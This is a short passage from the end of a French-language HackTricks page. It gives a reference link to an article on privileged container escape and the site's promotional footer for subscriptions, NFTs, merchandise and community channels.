* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)


<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !

- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs.

- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)

- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>